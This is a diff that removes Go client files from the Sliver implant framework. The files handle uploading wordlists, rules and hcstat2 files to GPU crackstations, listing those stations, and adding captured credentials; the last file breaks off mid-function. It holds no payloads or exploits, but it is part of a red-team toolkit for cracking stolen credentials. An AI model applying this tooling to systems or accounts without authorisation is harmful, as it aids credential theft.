-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackHcstat2Cmd(cmd, con, args)
-		},
-	}
-	crackCmd.AddCommand(hcstat2Cmd)
-
-	hcstat2AddCmd := &cobra.Command{
-		Use:   consts.AddStr,
-		Short: "Add a hcstat2 file",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackHcstat2AddCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
-	})
-	carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
-	hcstat2Cmd.AddCommand(hcstat2AddCmd)
-
-	hcstat2RmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove hcstat2 file",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackHcstat2RmCmd(cmd, con, args)
-		},
-	}
-	carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
-	hcstat2Cmd.AddCommand(hcstat2RmCmd)
-
-	return []*cobra.Command{crackCmd}
-}

client/command/crack/crack-files.go

@@ -1,504 +0,0 @@
-package crack
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"crypto/sha256"
-	"encoding/hex"
-	"io"
-	"os"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/util"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/klauspost/compress/zstd"
-	"github.com/spf13/cobra"
-)
-
-// CrackWordlistsCmd - Manage GPU cracking stations.
-func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(wordlists.Files) == 0 {
-		con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
-	} else {
-		PrintCrackFiles(wordlists, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
-			util.ByteCountBinary(wordlists.CurrentDiskUsage),
-			util.ByteCountBinary(wordlists.MaxDiskUsage),
-		)
-	}
-}
-
-// CrackRulesCmd - Manage GPU cracking stations.
-func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(rules.Files) == 0 {
-		con.PrintInfof("No rules files, add some using `crack rules add`\n")
-	} else {
-		PrintCrackFiles(rules, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
-			util.ByteCountBinary(rules.CurrentDiskUsage),
-			util.ByteCountBinary(rules.MaxDiskUsage),
-		)
-	}
-}
-
-// CrackHcstat2Cmd - Manage GPU cracking stations.
-func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(hcstat2.Files) == 0 {
-		con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
-	} else {
-		PrintCrackFiles(hcstat2, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
-			util.ByteCountBinary(hcstat2.CurrentDiskUsage),
-			util.ByteCountBinary(hcstat2.MaxDiskUsage),
-		)
-	}
-}
-
-func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{"Name", "Size"})
-	for _, file := range crackFiles.Files {
-		tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
-	wordlistTable := table.NewWriter()
-	wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
-	wordlistTable.SetStyle(settings.GetTableStyle(con))
-	wordlistTable.AppendHeader(table.Row{"Name", "Size"})
-
-	rulesTable := table.NewWriter()
-	rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
-	rulesTable.SetStyle(settings.GetTableStyle(con))
-	rulesTable.AppendHeader(table.Row{"Name", "Size"})
-
-	hcTable := table.NewWriter()
-	hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
-	hcTable.SetStyle(settings.GetTableStyle(con))
-	hcTable.AppendHeader(table.Row{"Name", "Size"})
-
-	wordlists := 0
-	rules := 0
-	hc := 0
-	for _, file := range crackFiles.Files {
-		switch file.Type {
-		case clientpb.CrackFileType_WORDLIST:
-			wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			wordlists++
-		case clientpb.CrackFileType_RULES:
-			rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			rules++
-		case clientpb.CrackFileType_MARKOV_HCSTAT2:
-			hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			hc++
-		}
-	}
-
-	if wordlists > 0 {
-		con.Printf("%s\n", wordlistTable.Render())
-	}
-	if rules > 0 {
-		if wordlists > 0 {
-			con.Println()
-		}
-		con.Printf("%s\n", rulesTable.Render())
-	}
-	if hc > 0 {
-		if wordlists > 0 || rules > 0 {
-			con.Println()
-		}
-		con.Printf("%s\n", hcTable.Render())
-	}
-	con.Println()
-	con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
-	con.Printf("Disk quota %02.2f%% - %s of %s\n",
-		(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
-		util.ByteCountBinary(crackFiles.CurrentDiskUsage),
-		util.ByteCountBinary(crackFiles.MaxDiskUsage),
-	)
-}
-
-// CrackWordlistsAddCmd - Manage GPU cracking stations.
-func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	wordlistStat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || wordlistStat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = wordlistStat.Name()
-	}
-	wordlist, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer wordlist.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_WORDLIST,
-		Name:             name,
-		UncompressedSize: wordlistStat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(wordlist, crackFile, con)
-}
-
-// CrackRulesAddCmd - add a rules file.
-func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	rulesStat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || rulesStat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = rulesStat.Name()
-	}
-	rules, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer rules.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_RULES,
-		Name:             name,
-		UncompressedSize: rulesStat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(rules, crackFile, con)
-}
-
-// CrackHcstat2AddCmd - add a hcstat2 file.
-func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	hcstat2Stat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || hcstat2Stat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = hcstat2Stat.Name()
-	}
-	hcstat2, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer hcstat2.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_MARKOV_HCSTAT2,
-		Name:             name,
-		UncompressedSize: hcstat2Stat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(hcstat2, crackFile, con)
-}
-
-func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) {
-	digest := sha256.New()
-	wordlistReader := io.TeeReader(localFile, digest)
-
-	chunks := make(chan []byte, 1) // Chunks are in-memory!
-
-	var chunkReaderErr error
-	go func() {
-		chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
-	}()
-	n := uint32(0)
-	total := int64(0)
-	errors := []error{}
-	for chunk := range chunks {
-		total += int64(len(chunk))
-		con.PrintInfof("Uploading %s (chunk %d - %s) ...",
-			util.ByteCountBinary(total),
-			n,
-			util.ByteCountBinary(int64(len(chunk))),
-		)
-		_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
-			CrackFileID: crackFile.ID,
-			N:           n,
-			Data:        chunk,
-		})
-		n++
-		if err != nil {
-			errors = append(errors, err)
-			continue
-		}
-	}
-	con.Printf(console.Clearln + "\r")
-	if chunkReaderErr != nil {
-		con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
-		return
-	}
-	if len(errors) > 0 {
-		for _, err := range errors {
-			con.PrintErrorf("Failed to upload chunk: %s\n", err)
-		}
-		return
-	}
-	_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
-		ID:       crackFile.ID,
-		Sha2_256: hex.EncodeToString(digest.Sum(nil)),
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to complete file upload: %s\n", err)
-		return
-	}
-	con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
-}
-
-func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
-	defer close(chunks)
-	start := int64(0)
-	tmpFile, err := os.CreateTemp("", "sliver-wordlist")
-	if err != nil {
-		return err
-	}
-	defer tmpFile.Close()
-	compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
-	for {
-		readBuf := make([]byte, 32*1024*1024) // 32MB
-		readN, readErr := wordlistReader.Read(readBuf)
-		if readErr != nil && readErr != io.EOF {
-			return err
-		}
-		if readN != 0 {
-			_, err := compressor.Write(readBuf[:readN])
-			if err != nil {
-				return err
-			}
-			compressor.Flush()
-			tmpFileStat, err := os.Stat(tmpFile.Name())
-			if err != nil {
-				return err
-			}
-			if tmpFileStat.Size()-start >= chunkSize {
-				stop := start + chunkSize
-				chunk, err := readChunkAt(tmpFile, start, chunkSize)
-				if err != nil {
-					return err
-				}
-				chunks <- chunk
-				start = stop
-			}
-		}
-		if readErr == io.EOF {
-			chunk, err := readChunkAt(tmpFile, start, chunkSize)
-			if err != nil {
-				return err
-			}
-			chunks <- chunk
-			return nil
-		}
-	}
-}
-
-func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
-	chunkBuf := make([]byte, chunkSize)
-	n, err := tmpFile.ReadAt(chunkBuf, offset)
-	if err != nil && err != io.EOF {
-		return nil, err
-	}
-	return chunkBuf[:n], nil
-}
-
-// CrackWordlistsRmCmd - Manage GPU cracking stations.
-func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var wordlistName string
-	if len(args) > 0 {
-		wordlistName = args[0]
-	}
-	if wordlistName == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, wordlist := range wordlists.Files {
-		if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed wordlist: %s\n", wordlistName)
-	} else {
-		con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
-	}
-}
-
-// CrackRulesRmCmd - Manage GPU cracking stations.
-func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var rulesName string
-	if len(args) > 0 {
-		rulesName = args[0]
-	}
-	if rulesName == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, rulesFile := range rules.Files {
-		if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed rules: %s\n", rulesName)
-	} else {
-		con.PrintErrorf("Rules not found: %s\n", rulesName)
-	}
-}
-
-// CrackHcstat2RmCmd - remove a hcstat2 file.
-func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var hcstat2Name string
-	if len(args) > 0 {
-		hcstat2Name = args[0]
-	}
-	if hcstat2Name == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, hcstat2File := range hcstat2s.Files {
-		if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
-	} else {
-		con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
-	}
-}

client/command/crack/crack.go

@@ -1,148 +0,0 @@
-package crack
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"sort"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// CrackCmd - GPU password cracking interface
-func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	if !AreCrackersOnline(con) {
-		PrintNoCrackstations(con)
-	} else {
-		crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
-	}
-	crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(crackFiles.Files) == 0 {
-		con.PrintInfof("No crack files uploaded to server\n")
-	} else {
-		con.Println()
-		PrintCrackFilesByType(crackFiles, con)
-	}
-}
-
-// CrackStationsCmd - Manage GPU cracking stations
-func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(crackers.Crackstations) == 0 {
-		PrintNoCrackstations(con)
-	} else {
-		PrintCrackers(crackers.Crackstations, con)
-	}
-}
-
-func PrintNoCrackstations(con *console.SliverClient) {
-	con.PrintInfof("No crackstations connected to server\n")
-}
-
-func AreCrackersOnline(con *console.SliverClient) bool {
-	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return false
-	}
-	return len(crackers.Crackstations) > 0
-}
-
-func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
-	sort.Slice(crackers, func(i, j int) bool {
-		return crackers[i].Name < crackers[j].Name
-	})
-	for index, cracker := range crackers {
-		printCracker(cracker, index, con)
-		if index < len(crackers)-1 {
-			con.Println()
-			con.Println()
-		}
-	}
-}
-
-func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
-	tw.AppendSeparator()
-	tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
-	tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
-	if 0 < len(cracker.CUDA) {
-		for _, cuda := range cracker.CUDA {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
-		}
-	}
-	if 0 < len(cracker.Metal) {
-		for _, metal := range cracker.Metal {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
-		}
-	}
-	if 0 < len(cracker.OpenCL) {
-		for _, openCL := range cracker.OpenCL {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
-		}
-	}
-	con.Printf("%s\n", tw.Render())
-	con.Println()
-	printBenchmarks(cracker, con)
-}
-
-func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
-	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
-	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
-	for hashType, speed := range cracker.Benchmarks {
-		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/crack/helpers.go

@@ -1,110 +0,0 @@
-package crack
-
-import (
-	"context"
-	"fmt"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/rsteube/carapace"
-)
-
-func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
-				continue
-			}
-
-			results = append(results, file.Name)
-			desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
-	})
-}
-
-func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_WORDLIST {
-				continue
-			}
-
-			results = append(results, file.Name)
-			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
-			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
-	})
-}
-
-func CrackRulesCompleter(con *console.SliverClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_RULES {
-				continue
-			}
-
-			results = append(results, file.Name)
-			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
-			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
-	})
-}
-
-func byteCountSI(b int64) string {
-	const unit = 1000
-	if b < unit {
-		return fmt.Sprintf("%d B", b)
-	}
-	div, exp := int64(unit), 0
-	for n := b / unit; n >= unit; n /= unit {
-		div *= unit
-		exp++
-	}
-	return fmt.Sprintf("%.1f %cB",
-		float64(b)/float64(div), "kMGTPE"[exp])
-}
-
-func byteCountIEC(b int64) string {
-	const unit = 1024
-	if b < unit {
-		return fmt.Sprintf("%d B", b)
-	}
-	div, exp := int64(unit), 0
-	for n := b / unit; n >= unit; n /= unit {
-		div *= unit
-		exp++
-	}
-	return fmt.Sprintf("%.1f %ciB",
-		float64(b)/float64(div), "KMGTPE"[exp])
-}

client/command/creds/add.go

@@ -1,213 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"context"
-	"os"
-	"strconv"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-const (
-	UserColonHashNewlineFormat = "user:hash" // username:hash\n
-	HashNewlineFormat          = "hash"      // hash\n
-	CSVFormat                  = "csv"       // username,hash\n
-)
-
-// CredsCmd - Add new credentials.
-func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	collection, _ := cmd.Flags().GetString("collection")
-	username, _ := cmd.Flags().GetString("username")
-	plaintext, _ := cmd.Flags().GetString("plaintext")
-	hash, _ := cmd.Flags().GetString("hash")
-	hashTypeF, _ := cmd.Flags().GetString("hash-type")
-	hashType := parseHashTypeString(hashTypeF)
-	if plaintext == "" && hash == "" {
-		con.PrintErrorf("Either a plaintext or a hash must be provided\n")
-		return
-	}
-	if hashType == clientpb.HashType_INVALID {
-		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
-		return
-	}
-	_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
-		Credentials: []*clientpb.Credential{
-			{
-				Collection: collection,
-				Username:   username,
-				Plaintext:  plaintext,
-				Hash:       hash,
-				HashType:   hashType,
-			},
-		},
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-// CredsCmd - Add new credentials.
-func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	collection, _ := cmd.Flags().GetString("collection")
-	filePath := args[0]
-	fileFormat, _ := cmd.Flags().GetString("file-format")
-	if _, err := os.Stat(filePath); os.IsNotExist(err) {
-		con.PrintErrorf("File '%s' does not exist\n", filePath)
-		return
-	}
-	hashTypeF, _ := cmd.Flags().GetString("hash-type")
-	hashType := parseHashTypeString(hashTypeF)
-	if hashType == clientpb.HashType_INVALID {
-		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
-		return
-	}
-
-	con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
-	var creds *clientpb.Credentials
